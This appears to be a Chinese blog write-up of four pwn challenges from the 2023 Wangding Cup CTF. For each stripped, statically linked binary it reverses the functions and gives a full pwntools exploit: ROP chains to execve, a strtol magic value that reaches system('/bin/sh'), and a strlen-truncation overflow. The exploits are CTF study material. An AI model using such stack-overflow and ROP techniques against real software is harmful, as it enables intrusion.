2023网鼎杯

文章发布时间:

最后更新时间:

文章总字数:
2.6k

预计阅读时间:
12 分钟

题目的本身的难度非常简单 因为是RHG类型的题目 不过大部分都是静态编译的题目 并且删除了符号表 以前还没有接触过类似的题目 所以这次来学习一下怎么逻辑推理出各个函数

下面的顺序被我打乱了 因为附件也是学长发的 所以凑合着做吧

pwn1

image-20230420115201871

32位 保护机制基本上全关了

解析来进入ida 由于删除了符号表 所以也不知道哪一个函数是main 先点进唯一有符号的start函数

1
2
3
4
5
6
7
8
9
10
11
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, int a2@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
void *retaddr; // [esp+0h] [ebp+0h] BYREF

v2 = v3;
v3 = a1;
sub_8049200(sub_804890C, v2, &retaddr, sub_80495D0, sub_8049670, a2, &v3);
}

根据以往的经验分析 sub_8049200应该是libc_start_main函数

那么作为其rdi参数的sub_804890C应该是main函数了

1
2
3
4
5
6
void __noreturn sub_804890C()
{
sub_804887C();
while ( 1 )
sub_80488CE();
}

跟进以后 可以看到不像是libc函数 为出题人编写的 所以猜测正确 为main函数 接下来分别跟进两个函数

1
2
3
4
5
6
7
int sub_804887C()
{
sub_80511E0(off_80EB4BC, 0);
sub_80511E0(off_80EB4B8, 0);
sub_80511E0(off_80EB4B4, 0);
return sub_806D410(300);
}

三个一样的函数 对.data段上三个相邻的参数进行操作 并且第二个参数还是0 这怎么看都是清空缓存区 用的setbuf函数嘛

至于最后的函数调用 我猜是alarm闹钟函数 毕竟有个300的参数

1
2
3
4
5
6
7
8
int sub_80488CE()
{
char v1[104]; // [esp+0h] [ebp-68h] BYREF

sub_804F4C0("please input what you want say");
sub_806DDA0(0, v1, 256);
return sub_804F9D0(v1);
}

这个函数应该就是漏洞点了 sub_804F4C0函数要么是printf要么是puts 直接运行程序并没有输出换行符 那么应该是printf

sub_806DDA0看参数应该是read函数 最后的sub_804F9D0函数经过直接运行程序猜测是puts函数

image-20230420131455799

那么至此程序的主要逻辑就明了了 while重复执行sub_80488CE函数 该函数存在栈溢出漏洞

再加上是静态编译 那么此时直接利用ROPgadget自带的构造rop链 getshell

1
ROPgadget --binary pwn --ropchain

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
from ctypes import *
from struct import *
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",32980)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("please input what you want say")
p = b'a' * (0x68+4)
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8eb6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8eb6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080495a3) # xor eax, eax ; ret
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df8bd) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080495a3) # xor eax, eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0806d443) # int 0x80
success("len :"+hex(len(p)))
io.sendline(p)
io.interactive()

pwn2

image-20230420171633445

还是跟上题一样 保护基本没开 静态编译32位

老规矩 还是跟着start函数索引到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_80488CE()
{
int v0; // eax
char v2; // [esp-Ch] [ebp-24h]
int v3; // [esp+Ch] [ebp-Ch]

sub_804887C();
v3 = sub_8059F50(48);
sub_8048987(v3, 48);
v0 = sub_804DBD0(v3 + 16) + 5;
if ( v0 == 8 )
{
sub_8048987(v3, 48);
}
else if ( v0 > 8 )
{
if ( v0 == 10 )
return 0;
if ( v0 == 85145 )
sub_804F700("/bin/sh");
}
else if ( v0 == 6 )
{
sub_804FA00("where is shell", v2);
}
return 1;
}

第一个涉及到的函数

1
2
3
4
5
6
7
int sub_804887C()
{
sub_8051720(off_80EB4BC, 0);
sub_8051720(off_80EB4B8, 0);
sub_8051720(off_80EB4B4, 0);
return sub_806D9C0(300);
}

很明显是setbuf清空缓存区

第二个函数 参数是一个数值 并且在函数最后找到了这样一行字符串

1
2
if ( v4 != _EBX )
sub_8056280("__libc_malloc");

所以大胆猜测是malloc 随后断点打在call 后 观察eax是否为堆地址返回值 成功验证猜想

image-20230420172357977

至于第三个函数 看参数没有多少印象 所以觉得是出题人自己编写的函数 还得跟进一下看实现逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl sub_8048987(int a1, int a2)
{
int i; // [esp+Ch] [ebp-Ch]

for ( i = 0; a2 - 1 > i; ++i )
{
if ( sub_806E380(0, i + a1, 1) != 1 )
sub_804E660(1);
if ( *(_BYTE *)(i + a1) == 10 )
break;
}
*(_BYTE *)(i + a1) = 0;
return i;
}

sub_806E380函数的参数构造有点像read sub_804E660的参数构造像exit函数

那么结合函数整体的逻辑 我认为是一个往刚刚申请的chunk中读入数据的函数 当读入的字符为\n时 结束读入 并且把\n字符所处的位置设置为\x00

接下来第四个函数应该是最关键的了 从main函数的逻辑来看 这个函数的返回值将决定是否能够触发system(“/bin/sh”)

1
2
3
4
int __cdecl sub_804DBD0(int a1)
{
return sub_804E880(a1, 0, 10);
}

内部还调用了一个函数 不过这个函数的参数就有点眼熟了 a1是chunk的用户块+0x10处的地址 第二个参数为0

第三个参数是10 有点像strtol函数 为了印证猜想 看看函数结束后的eax寄存器是不是预期返回值

1
payload = cyclic(0x10)+b'85140'

image-20230420205112566

之所以多了5 是因为在v0的值是strtol函数的返回值+5

那么就会进入对应的if判断式 直接调用system(“/bin/sh”)

至于最后的函数 实在是猜不出来 最后用sig文件解析了一下 再加上chatgpt 大概了解到其是一个可以直接把字符串输出到标准输出流的函数

1
2
3
4
5
6
7
int sub_804FA00(int a1, ...)
{
va_list va; // [esp+14h] [ebp+8h] BYREF

va_start(va, a1);
return _IO_vfprintf_internal(off_80EB4B8, a1, (char *)va);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from ctypes import *
from struct import *
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",32980)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

payload = cyclic(0x10)+b'85140'
# gdb.attach(io,'b *0x8048935')
# pause(0)
io.sendline(payload)
io.interactive()

pwn3

一开始还以为是个手写可见字符shellcode 但是转念一想 反正保护全关 也有很长的栈溢出 那就可以直接打呗

静态编译的程序一般都是打系统调用的 这里太久没做了 还卡住了 忘记32位的系统调用是int 0x80了 傻傻的用syscall打了半天

image-20230516133039836

1
2
3
4
5
6
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
while ( 1 )
vuln();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int vuln()
{
unsigned int v0; // eax
char v2[96]; // [esp+8h] [ebp-70h] BYREF
unsigned int j; // [esp+68h] [ebp-10h]
int i; // [esp+6Ch] [ebp-Ch]

printf("please input what you want say");
read_len = read(0, v2, 288);
for ( i = 0; i < read_len; ++i )
{
for ( j = 0; ; ++j )
{
v0 = strlen(byte_80EB068);
if ( v0 <= j )
break;
if ( v2[i] == *(j + 0x80EB068) )
exit(0);
}
}
return puts(v2);
}

对于输入的字符进行了一个检查 如果为BINSHbinsh就exit

不过不影响 直接构造rop链 往bss段写binsh 随后execve系统调用就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28881)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("please input what you want say")
edi_addr = 0x08048480
eax_addr = 0x080b8f16
ebx_addr = 0x080481c9
ecx_addr = 0x080df91d
edx_addr = 0x0806f89b
syscall_addr = 0x0806331d
sh_addr= 0x80EB070
bss_addr = elf.bss(0x400)
read_addr = 0x806DE00
main_addr = 0x8048972
int80_addr =0x0806d4a3
payload = b'e'*0x74+p32(read_addr)+p32(main_addr)+p32(0)+p32(bss_addr)+p32(0x20)
# gdb.attach(io,'b *0x8048971 ')
# pause(0)
io.send(payload)
# pause()
io.send(b'/bin/sh\x00')
io.recvuntil("please input what you want say")
payload = b'e'*0x74+p32(eax_addr)+p32(0xb)+p32(ebx_addr)+p32(bss_addr)+p32(ecx_addr)+p32(0)+p32(int80_addr)
# gdb.attach(io,'b *0x8048971 ')
# pause(0)
io.send(payload)
# pause()
io.interactive()

pwn4

依然是什么保护都没有开

image-20230516213436431

1
2
3
4
5
6
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
while ( 1 )
vuln();
}
1
2
3
4
5
6
7
8
9
10
11
int vuln()
{
char v1[336]; // [esp+0h] [ebp-1B8h] BYREF
char v2[104]; // [esp+150h] [ebp-68h] BYREF

puts("please input your username");
read(0, v2, 0x20);
puts("please input your passwd");
read(0, v1, 0x14F);
return check(v1);
}

没有栈溢出 v1作为check函数的参数 跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl check(int a1)
{
int result; // eax
char v2[16]; // [esp+Fh] [ebp-19h] BYREF
unsigned __int8 v3; // [esp+1Fh] [ebp-9h]

v3 = strlen(a1);
if ( v3 > 6u && v3 <= 8u )
{
printf("nice");
result = strcpy(v2, a1);
}
else
{
printf("passwd error");
result = 0;
}
return result;
}

针对v1的长度进行了检测 只有7和8的时候可以调用strcpy进行栈溢出 这里一开始想的是直接\x00绕过strlen 后来意识到strcpy也会被绕过 这个时候注意到v3这个参数的异常 你可以发现其位于ebp-0x9 这个位置有点不对劲 所以切换成汇编看一下

image-20230516213802362

strlen的返回值存储在eax中 而用来比较的是al寄存器的值 所以这里可以绕过

原因就在于如果数值大一点 使得二进制形式的eax的1都位于高位 使得低八位的值比较小 就可以绕过了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28881)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("please input your username")
io.send(b'chen')
io.recvuntil("please input your passwd")
backdoor_addr = 0x80488CE
payload = cyclic(0x19+0x4)+p32(backdoor_addr)+cyclic(0xe6)
# gdb.attach(io,'b *0x80488FB')
# pause(0)
io.send(payload)
# pause()
io.interactive()